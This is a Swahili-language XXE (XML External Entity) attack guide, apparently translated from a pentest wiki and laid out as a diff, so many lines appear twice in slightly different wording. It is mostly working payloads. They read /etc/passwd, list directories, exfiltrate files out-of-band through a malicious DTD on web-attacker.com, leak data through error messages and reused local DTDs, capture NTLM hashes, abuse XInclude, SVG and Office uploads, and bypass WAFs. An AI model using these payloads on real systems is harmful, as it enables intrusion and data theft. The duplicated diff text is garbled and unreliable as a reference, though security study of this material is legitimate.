- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinaruhusu uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `&lt;` na `&gt;`, ambazo zinahusiana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML.
- **Kufafanua Vipengele vya XML**: XML inaruhusu ufafanuzi wa aina za vipengele, ikielezea jinsi vipengele vinavyopaswa kuundwa na ni maudhui gani yanaweza kuwa nayo, kuanzia aina yoyote ya maudhui hadi vipengele maalum vya watoto.
- **Ufafanuzi wa Aina ya Hati (DTD)**: DTD ni muhimu katika XML kwa kufafanua muundo wa hati na aina za data zinazoweza kuonekana ndani yake. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi hati zinavyopangwa na kuthibitishwa.
- **Vitu vya Kawaida na vya Nje**: XML inasaidia uundaji wa vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinainua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi wachambuzi wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Kwa ajili ya kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za wachambuzi, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya mtandao, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, ili kuthibitisha udhaifu.
- **Ufafanuzi wa Aina ya Hati (DTD)**: DTD ni muhimu katika XML kwa kufafanua muundo wa hati na aina za data zinazoweza kuonekana ndani yake. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi hati zinavyopaswa kuandikwa na kuthibitishwa.
- **Vitu vya Kawaida na vya Nje**: XML inasaidia uundaji wa vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinainua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi parser za XML zinavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Ili kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za parser, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya muktadha, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kinachodhibitiwa, ili kuthibitisha udhaifu.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -20,7 +20,7 @@ XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data,
### Jaribio la Kitu Kipya
Katika shambulio hili nitajaribu kuona kama tangazo rahisi la KITU kipya linafanya kazi.
Katika shambulio hili nitaangalia kama tangazo rahisi la KITU kipya linafanya kazi.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -35,7 +35,7 @@ Katika shambulio hili nitajaribu kuona kama tangazo rahisi la KITU kipya linafan
Hebu tujaribu kusoma `/etc/passwd` kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: `C:\windows\system32\drivers\etc\hosts`
Katika kesi hii ya kwanza, angalia kwamba SYSTEM "_\*\*file:///\*\*etc/passwd_" pia itafanya kazi.
Katika kesi hii ya kwanza, angalia kwamba SYSTEM "_**file:///**etc/passwd_" pia itafanya kazi.
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -43,7 +43,7 @@ Katika kesi hii ya kwanza, angalia kwamba SYSTEM "_\*\*file:///\*\*etc/passwd_"
```
![](<../images/image (86).png>)
Hali hii ya pili inapaswa kuwa na manufaa kutoa faili ikiwa seva ya wavuti inatumia PHP (Sio kesi ya maabara za Portswiggers)
Hali hii ya pili inapaswa kuwa na manufaa kutoa faili ikiwa seva ya wavuti inatumia PHP (Sio kesi ya maabara za Portswigger)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -65,7 +65,7 @@ Katika kesi hii ya tatu, angalia tunatangaza `Element stockCheck` kama ANY.
### Orodha ya saraka
Katika programu za msingi za **Java**, inaweza kuwa inawezekana **kuorodhesha maudhui ya saraka** kupitia XXE kwa payload kama (kuomba tu saraka badala ya faili):
Katika programu zinazotegemea **Java**, inaweza kuwa inawezekana **kuorodhesha maudhui ya saraka** kupitia XXE kwa payload kama (kuomba tu saraka badala ya faili):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -83,7 +83,7 @@ XXE inaweza kutumika kuboresha SSRF ndani ya wingu
```
### Blind SSRF
Kwa kutumia **mbinu iliyotajwa hapo awali** unaweza kufanya seva ifikie seva unayodhibiti ili kuonyesha kuwa ina udhaifu. Lakini, ikiwa hiyo haitendi kazi, huenda ni kwa sababu **vitengo vya XML haviruhusiwi**, katika kesi hiyo unaweza kujaribu kutumia **vitengo vya parameta za XML**:
Kwa kutumia **mbinu iliyotajwa hapo awali** unaweza kufanya seva kufikia seva unayodhibiti ili kuonyesha kuwa ina udhaifu. Lakini, ikiwa hiyo haifanyi kazi, huenda ni kwa sababu **vitengo vya XML haviruhusiwi**, katika kesi hiyo unaweza kujaribu kutumia **vitengo vya parameta za XML**:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -91,9 +91,9 @@ Kwa kutumia **mbinu iliyotajwa hapo awali** unaweza kufanya seva ifikie seva una
```
### "Blind" SSRF - Exfiltrate data out-of-band
**Katika tukio hili tutafanya seva ipakie DTD mpya yenye payload mbaya ambayo itatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia seva hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.**
**Katika tukio hili tutafanya server iandae DTD mpya yenye payload mbaya ambayo itatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia server hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.**
Katika DTD mbaya iliyotolewa, mfululizo wa hatua unafanywa ili kuhamasisha data:
Katika DTD mbaya iliyotolewa, hatua kadhaa zinafanywa ili kuhamasisha data:
### Mfano wa DTD Mbaya:
@ -107,10 +107,10 @@ Muundo ni kama ifuatavyo:
Hatua zinazotekelezwa na DTD hii ni:
1. **Mwelekeo wa Vigezo vya Kigezo:**
- Kigezo cha kigezo cha XML, `%file`, kinaundwa, kikisoma maudhui ya faili ya `/etc/hostname`.
- Kigezo kingine cha kigezo cha XML, `%eval`, kinafafanuliwa. Kinatangaza kwa njia ya kidinamikia kigezo kipya cha kigezo cha XML, `%exfiltrate`. Kigezo cha `%exfiltrate` kimewekwa kufanya ombi la HTTP kwa seva ya mshambuliaji, likipitia maudhui ya kigezo cha `%file` ndani ya mfuatano wa swali wa URL.
- Kigezo cha XML, `%file`, kinaundwa, kikisoma maudhui ya faili ya `/etc/hostname`.
- Kigezo kingine cha XML, `%eval`, kinafafanuliwa. Kinatangaza kwa njia ya kidinamikali kigezo kipya cha XML, `%exfiltrate`. Kigezo cha `%exfiltrate` kimewekwa kufanya ombi la HTTP kwa seva ya mshambuliaji, likipitia maudhui ya kigezo cha `%file` ndani ya mfuatano wa swali wa URL.
2. **Tekeleza Vigezo:**
- Kigezo cha `%eval` kinatumika, na kusababisha utekelezaji wa tangazo la kidinamikia la kigezo cha `%exfiltrate`.
- Kigezo cha `%eval` kinatumika, na kusababisha utekelezaji wa tangazo la kidinamikali la kigezo cha `%exfiltrate`.
- Kigezo cha `%exfiltrate` kinatumika, kikichochea ombi la HTTP kwa URL iliyoainishwa na maudhui ya faili.
Mshambuliaji anahifadhi DTD hii mbaya kwenye seva chini ya udhibiti wao, kawaida kwenye URL kama `http://web-attacker.com/malicious.dtd`.
@ -121,20 +121,20 @@ Mshambuliaji anahifadhi DTD hii mbaya kwenye seva chini ya udhibiti wao, kawaida
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Hii payload inafafanua kigezo cha XML `%xxe` na kuingiza ndani ya DTD. Wakati inashughulikiwa na parser ya XML, hii payload inapata DTD ya nje kutoka kwa seva ya mshambuliaji. Parser kisha inatafsiri DTD hiyo kwa ndani, ikitekeleza hatua zilizoainishwa katika DTD mbaya na kusababisha kuhamasishwa kwa faili ya `/etc/hostname` kwenye seva ya mshambuliaji.
Hii payload inafafanua kigezo cha XML `%xxe` na kuingiza ndani ya DTD. Wakati inashughulikiwa na parser ya XML, hii payload inapata DTD ya nje kutoka kwa seva ya mshambuliaji. Parser kisha inatafsiri DTD inline, ikitekeleza hatua zilizoainishwa katika DTD mbaya na kusababisha kuhamasishwa kwa faili ya `/etc/hostname` kwenye seva ya mshambuliaji.
### Makosa Yanayotokana na (External DTD)
**Katika kesi hii tutafanya seva ipakue DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni halali tu ikiwa unaweza kuona ujumbe wa makosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
**Katika kesi hii tutafanya seva ipakie DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni halali tu ikiwa unaweza kuona ujumbe wa makosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kuchochewa kwa kutumia DTD ya nje mbaya. Hii inafanywa kupitia hatua zifuatazo:
Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kuchochewa kwa kutumia Aina ya Hati ya Nje (DTD) mbaya. Hii inafanywa kupitia hatua zifuatazo:
1. Kigezo cha XML kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
2. Kigezo cha XML kinachoitwa `eval` kinafafanuliwa, kikijumuisha tangazo la dinamik kwa kigezo kingine cha XML kinachoitwa `error`. Kigezo hiki `error`, kinapojaribiwa, kinajaribu kupakua faili isiyopo, kikijumuisha maudhui ya kigezo cha `file` kama jina lake.
2. Kigezo cha XML kinachoitwa `eval` kinafafanuliwa, kikijumuisha tangazo la dinamik kwa kigezo kingine cha XML kinachoitwa `error`. Kigezo hiki `error`, kinapojaribiwa, kinajaribu kupakia faili isiyopo, kikijumuisha maudhui ya kigezo cha `file` kama jina lake.
3. Kigezo cha `eval` kinaitwa, na kusababisha tangazo la dinamik la kigezo cha `error`.
4. Kuitwa kwa kigezo cha `error` kunasababisha jaribio la kupakua faili isiyopo, na kutoa ujumbe wa kosa unaojumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
4. Kuitwa kwa kigezo cha `error` kunasababisha jaribio la kupakia faili isiyopo, na kutoa ujumbe wa kosa unaojumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
DTD ya nje mbaya inaweza kuitwa kwa XML ifuatayo:
DTD mbaya ya nje inaweza kuitwa kwa XML ifuatayo:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
@ -144,15 +144,15 @@ Upon execution, the web server's response should include an error message displa
![](<../images/image (809).png>)
_**Tafadhali notice kwamba DTD ya nje inaturuhusu kujumuisha kiumbe kimoja ndani ya kingine (\*\***`eval`\***\*), lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_
_**Tafadhali notice kwamba DTD ya nje inatuhusu kujumuisha entiti moja ndani ya `eval` ya pili, lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_
### **Kosa Kulingana (system DTD)**
Hivyo kuhusu udhaifu wa XXE usioonekana wakati **mawasiliano ya nje yamezuiwa** (muunganisho wa nje haupo)?
Hivyo kuhusu udhaifu wa XXE kipofu wakati **mawasiliano ya nje yamezuiwa** (muunganisho wa nje haupo)?
Kipengele katika spesifikesheni ya lugha ya XML kinaweza **kuonyesha data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa viumbe vilivyotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa kigezo cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.
Kipengele katika spesifikasisi ya lugha ya XML kinaweza **kuweka wazi data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa entiti zilizotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa entiti ya parameter ya XML, ambayo awali ilitangazwa katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja kiumbe kinachoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mseto kama ifuatavyo:
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja entiti inayoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mseto kama ifuatavyo:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -167,11 +167,11 @@ Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/a
```
Hatua zilizoelezwa zinafanywa na hii DTD:
- Mwelekeo wa kigezo cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
- Ufafanuzi mpya unafanyika kwa kigezo cha XML `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjika kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`.
- Kwa kutumia kigezo cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji.
- Mwelekeo wa kitu cha XML parameter kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
- Ufafanuzi mpya unafanyika kwa kitu cha XML parameter `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjwa kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`.
- Kwa kutumia kitu cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji.
**Mfano wa ulimwengu halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD katika `/usr/share/yelp/dtd/docbookx.dtd` yenye kigezo kinachoitwa `ISOamso`.
**Mfano wa ulimwengu halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD katika `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kitu kinachoitwa `ISOamso`
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -188,7 +188,7 @@ Hatua zilizoelezwa zinafanywa na hii DTD:
```
![](<../images/image (625).png>)
Kwa kuwa mbinu hii inatumia **DTD ya ndani unahitaji kupata halali kwanza**. Unaweza kufanya hivi kwa **kuyasakinisha** **OS / Software** sawa na ile ambayo seva inatumia na **kutafuta baadhi ya DTD za kawaida**, au **kuchukua orodha** ya **DTD za kawaida** ndani ya mifumo na **kuangalia** kama yoyote kati yao ipo:
Kwa kuwa mbinu hii inatumia **internal DTD unahitaji kupata halali moja kwanza**. Unaweza kufanya hivi **kwa kufunga** ile ile **OS / Software** ambayo seva inatumia na **kutafuta baadhi ya DTDs za kawaida**, au **kuchukua orodha** ya **DTDs za kawaida** ndani ya mifumo na **kuangalia** kama yoyote yao ipo:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -217,19 +217,19 @@ Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE kupitia Office Open XML Parsers
### XXE kupitia Waparser wa Office Open XML
Kwa maelezo ya kina zaidi kuhusu shambulio hili, **angalia sehemu ya pili ya** [**hiki kipande cha ajabu**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **kutoka Detectify**.
Uwezo wa **kupakia hati za Microsoft Office unapatikana katika programu nyingi za wavuti**, ambazo kisha zinaendelea kutoa maelezo fulani kutoka kwa hati hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuingiza data kwa kupakia karatasi ya hesabu ya muundo wa XLSX. Ili parser iweze kutoa data kutoka kwa karatasi ya hesabu, itahitaji kwa lazima kuchambua angalau faili moja ya XML.
Uwezo wa **kupakia hati za Microsoft Office unapatikana katika programu nyingi za wavuti**, ambazo kisha zinaendelea kutoa maelezo fulani kutoka kwa hati hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuingiza data kwa kupakia karatasi ya hesabu ya muundo wa XLSX. Ili parser iweze kutoa data kutoka kwa karatasi ya hesabu, itahitaji bila shaka kuchambua angalau faili moja ya XML.
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office inayojumuisha mzigo wa XXE**. Hatua ya kwanza ni kuunda directory tupu ambayo hati inaweza kufunguliwa.
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office yenye mzigo wa XXE**. Hatua ya kwanza ni kuunda directory tupu ambayo hati inaweza kufunguliwa.
Mara hati inapofunguliwa, faili ya XML iliyoko `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa katika mhariri wa maandiko unaopendelea (kama vim). XML inapaswa kubadilishwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ikianza na ombi la HTTP.
Mara hati hiyo itakapofunguliwa, faili ya XML iliyoko katika `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa katika mhariri wa maandiko unaopendelea (kama vim). XML inapaswa kubadilishwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ikianza na ombi la HTTP.
Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya mzizi wa XML. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi.
Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya mzizi wa XML. Ni muhimu kubadilisha URL na URL inayoweza kufuatiliwa kwa maombi.
Hatimaye, faili inaweza kufungiwa ili kuunda faili ya hatari ya poc.docx. Kutoka kwenye directory ya "unzipped" iliyoundwa awali, amri ifuatayo inapaswa kutekelezwa:
Hatimaye, faili inaweza kufungwa ili kuunda faili ya hatari ya poc.docx. Kutoka kwenye directory ya "unzipped" iliyoundwa awali, amri ifuatayo inapaswa kutekelezwa:
Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa na udhaifu, na mtu anaweza kutumaini ombi kuonekana katika kumbukumbu za Burp Collaborator.
@ -245,8 +245,8 @@ jar:https://download.host.com/myarchive.zip!/file.txt
Mchakato wa kufikia faili ndani ya archive ya PKZIP kupitia protokali ya jar unajumuisha hatua kadhaa:
1. Ombi la HTTP linafanywa kupakua archive ya zip kutoka mahali maalum, kama `https://download.website.com/archive.zip`.
2. Jibu la HTTP linaloelezea archive linawekwa kwa muda kwenye mfumo, kawaida katika mahali kama `/tmp/...`.
1. Ombi la HTTP linafanywa kupakua archive ya zip kutoka mahali fulani, kama `https://download.website.com/archive.zip`.
2. Jibu la HTTP linaloelezea archive linahifadhiwa kwa muda kwenye mfumo, kawaida katika eneo kama `/tmp/...`.
3. Archive hiyo inachukuliwa ili kufikia maudhui yake.
4. Faili maalum ndani ya archive, `file.zip`, inasomwa.
5. Baada ya operesheni, faili zozote za muda zilizoundwa wakati wa mchakato huu zinafuta.
@ -257,7 +257,7 @@ Mbinu ya kuvutia ya kuingilia kati mchakato huu katika hatua ya pili inahusisha
<foo>&xxe;</foo>
```
> [!CAUTION]
> Kuandika faili katika saraka ya muda kunaweza kusaidia **kuongeza udhaifu mwingine unaohusisha usafiri wa njia** (kama vile kujumuisha faili za ndani, sindano ya kiolezo, XSLT RCE, deserialization, nk).
> Kuandika faili katika directory ya muda kunaweza kusaidia **kuongeza udhaifu mwingine unaohusisha kupita njia** (kama vile kuingiza faili za ndani, sindano ya templeti, XSLT RCE, deserialization, nk).
### XSS
```xml
@ -304,15 +304,15 @@ na kwa kutuma ombi lifuatalo
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Kisha unaweza kujaribu kuvunja hash kwa kutumia hashcat
Then you can try to crack the hash using hashcat
## Uso wa XXE Uliofichwa
## Hidden XXE Surfaces
### XInclude
Wakati wa kuunganisha data za mteja katika hati za XML za upande wa seva, kama zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi ni mdogo, na kuzuia mashambulizi ya jadi ya XXE kutokana na vizuizi vya kubadilisha kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` linatoa suluhisho kwa kuruhusu kuingizwa kwa viumbe vya nje ndani ya kipengele chochote cha data ya hati ya XML. Njia hii ni bora hata wakati sehemu tu ya data ndani ya hati ya XML iliyozalishwa na seva inaweza kudhibitiwa.
Wakati wa kuunganisha data za mteja katika hati za XML za upande wa seva, kama zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi ni mdogo, ukikandamiza mashambulizi ya jadi ya XXE kutokana na vizuizi vya kubadilisha kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` linatoa suluhisho kwa kuruhusu kuingizwa kwa vitu vya nje ndani ya kipengele chochote cha data cha hati ya XML. Njia hii ni bora hata wakati sehemu tu ya data ndani ya hati ya XML iliyozalishwa na seva inaweza kudhibitiwa.
Ili kutekeleza shambulio la `XInclude`, jina la eneo la `XInclude` lazima litangazwe, na njia ya faili ya kiumbe cha nje kinachokusudiwa lazima ibainishwe. Hapa chini kuna mfano mfupi wa jinsi shambulio kama hilo linaweza kuandaliwa:
Ili kutekeleza shambulio la `XInclude`, jina la eneo la `XInclude` lazima litangazwe, na njia ya faili ya kitu cha nje kinachokusudiwa lazima ibainishwe. Hapa chini kuna mfano mfupi wa jinsi shambulio kama hilo linaweza kuandaliwa:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -320,11 +320,11 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
### SVG - Upakuaji wa Faili
Faili zinazopakiwa na watumiaji kwenye programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Mifumo ya kawaida ya faili kama hati za ofisi (DOCX) na picha (SVG) inategemea XML.
Faili zinazopakiwa na watumiaji kwenye programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Muundo wa kawaida wa faili kama hati za ofisi (DOCX) na picha (SVG) unategemea XML.
Wakati watumiaji **wanapopakia picha**, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia muundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kuwa hatarini kwa udhaifu wa XXE (XML External Entity).
Mfano wa udhaifu kama huo umeonyeshwa hapa chini, ambapo picha ya SVG yenye uharibifu inajaribu kusoma faili za mfumo:
Mfano wa exploit kama hiyo umeonyeshwa hapa chini, ambapo picha ya SVG yenye uharibifu inajaribu kusoma faili za mfumo:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
@ -398,7 +398,7 @@ Content-Type: application/xml;charset=UTF-8
```
Mfano mwingine unaweza kupatikana [hapa](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## WAF & Mipango ya Kulinda
## WAF & Ulinzi Bypasses
### Base64
```xml
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Hata hii inasababisha kosa la ndani la seva, hasa ikitaja tatizo na matangazo ya alama:
Hata hiyo, ombi hili linachochea kosa la ndani la seva, hasa likitaja tatizo na matamko ya alama:
```json
{
"status": 500,
@ -514,16 +514,16 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Mbinu hii inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazojumuisha tabo mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
Mbinu hii inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazojumuisha herufi mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
Data Exfiltration Iliyotokana na Hitilafu Ili kushinda kikwazo hiki, mbinu ya Hitilafu inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha hitilafu inayojumuisha data kutoka kwa faili lengwa:
Uhamishaji wa Data kwa Msingi wa Hitilafu Ili kushinda kikwazo hiki, mbinu ya Msingi wa Hitilafu inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha hitilafu inayojumuisha data kutoka kwa faili lengwa:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Server inajibu kwa kosa, kwa umuhimu ikionyesha faili isiyopo, ikionyesha kwamba server inajaribu kufikia faili iliyoainishwa:
Server inajibu kwa kosa, muhimu kuonyesha faili isiyopo, ikionyesha kwamba server inajaribu kufikia faili iliyoainishwa:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -534,7 +534,7 @@ Ili kujumuisha maudhui ya faili katika ujumbe wa kosa, faili la DTD linarekebish
%foo;
%xxe;
```
Hii mabadiliko husababisha uhamasishaji wa mafaili yaliyomo, kama inavyoonyeshwa katika matokeo ya kosa yaliyotumwa kupitia HTTP. Hii inaonyesha shambulio la XXE (XML External Entity) lililofanikiwa, likitumia mbinu za Out of Band na Error-Based ili kutoa taarifa nyeti.
